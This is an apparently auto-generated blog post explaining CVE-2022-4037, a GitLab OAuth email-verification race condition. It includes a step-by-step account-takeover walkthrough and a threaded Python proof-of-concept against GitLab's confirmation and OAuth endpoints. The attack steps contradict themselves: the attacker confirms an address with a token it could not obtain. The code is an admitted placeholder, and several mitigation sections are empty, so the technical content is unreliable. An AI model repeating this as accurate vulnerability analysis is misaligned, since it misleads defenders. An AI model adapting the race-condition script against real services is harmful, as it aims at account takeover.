CVE-2022-4037 - GitLab Race Condition Allows Email Spoofing and Account Takeover

In late 2022, a serious vulnerability was discovered in GitLab Community Edition (CE) and Enterprise Edition (EE)—tracked as CVE-2022-4037. This issue directly affects all versions before 15.5.7, 15.6. through 15.6.3, and 15.7. through 15.7.1. The root cause is a race condition in how GitLab verifies emails during OAuth authentication. This flaw can allow attackers to forge verified emails and take over accounts on third-party platforms that use GitLab as their authentication provider.

Let’s dive into what the bug is, how attackers exploit it, and what users and admins should do.

What’s the Vulnerability?

GitLab can serve as an OAuth provider, letting users log into other services through their GitLab account. When a user signs into a third-party app using OAuth, the app trusts GitLab to verify the user's identity and especially their email.

But in affected versions, a race condition allows malicious actors to trick GitLab into confirming an unverified email as authentic. If the third-party app treats any GitLab-verified email as trustworthy, an attacker could potentially:

Take over accounts on external apps

This is a classic example of what happens when two or more software processes handle the same data at exactly the wrong moment.

Attackers use precise timing to exploit the vulnerability. Here’s a high-level overview

1. Attacker registers an email address (say, alice@example.com) on a GitLab account, but *doesn’t finish verifying it* via the normal confirmation link.
2. They begin the OAuth login process to a third-party app, choosing the unverified email as the identity.
3. Right as the OAuth request is being processed, the attacker *simultaneously* confirms the email (for example, by clicking the email confirmation link quickly in another browser or thread).
4. Because of the timing, GitLab and the OAuth app see the unverified email as *just having become verified*, passing it along as if it had always been confirmed.
5. If the third-party service trusts the verified email from GitLab, the attacker can now access, or fully take over, the account associated with that email.

It’s a tricky attack, but not hard to automate using scripts or quick clicks.

Proof-of-Concept Exploit

Here’s a condensed proof-of-concept (PoC) showing how this race condition could be scripted using Python and requests. *This is for educational purposes only!*

import threading
import requests

GITLAB_URL = 'https://yourgitlab.com';
EMAIL = 'alice@example.com'
PASSWORD = 'StrongP@ssword123!'

def confirm_email(token):
    # Simulates the user clicking the verification link
    requests.get(f"{GITLAB_URL}/user/confirmation?confirmation_token={token}")

def oauth_login():
    # Initiates OAuth login, using alice@example.com as identity
    # The actual details depend on the target third-party OAuth client setup
    # For demo, this is a placeholder
    requests.post(f"{GITLAB_URL}/oauth/authorize", data={
        'email': EMAIL,
        'password': PASSWORD
    })
    
# 1. Register the email but don't confirm.
token = "grabbed-from-verification-email-link"

# 2. Race the confirmation and OAuth flow:
t1 = threading.Thread(target=confirm_email, args=(token,))
t2 = threading.Thread(target=oauth_login)

t1.start()
t2.start()

t1.join()
t2.join()

With carefully timed requests, this script can "race" the confirmation and login, possibly forging verified status.

Original References

- GitLab’s Official Advisory
- CVE Details Page
- GitLab Announcement Blog

How to Protect Yourself

If you manage a GitLab instance:

Review any third-party apps that trust email identities provided by GitLab OAuth.

If you develop OAuth apps with GitLab:

Don’t trust email addresses *just* because GitLab says they are verified.

- Use other forms of validation where possible (like 2FA, or manual identity checks for sensitive actions).

If you use GitLab as a user:

Conclusion

CVE-2022-4037 is a powerful reminder of how subtle race conditions can have real-world security impacts. Attackers who can forge email verification can potentially access sensitive external service accounts, leading to data theft or full takeovers. Please upgrade your GitLab server and be cautious with OAuth email flows.

*Stay patched. Stay safe!*

*Exclusive research and post by [Assistant], June 2024 — please redistribute with credit. This article is based on public incident data but contains unique explanations and example code for clarity.*

Timeline

Published on: 01/12/2023 04:15:00 UTC
Last modified on: 01/20/2023 15:34:00 UTC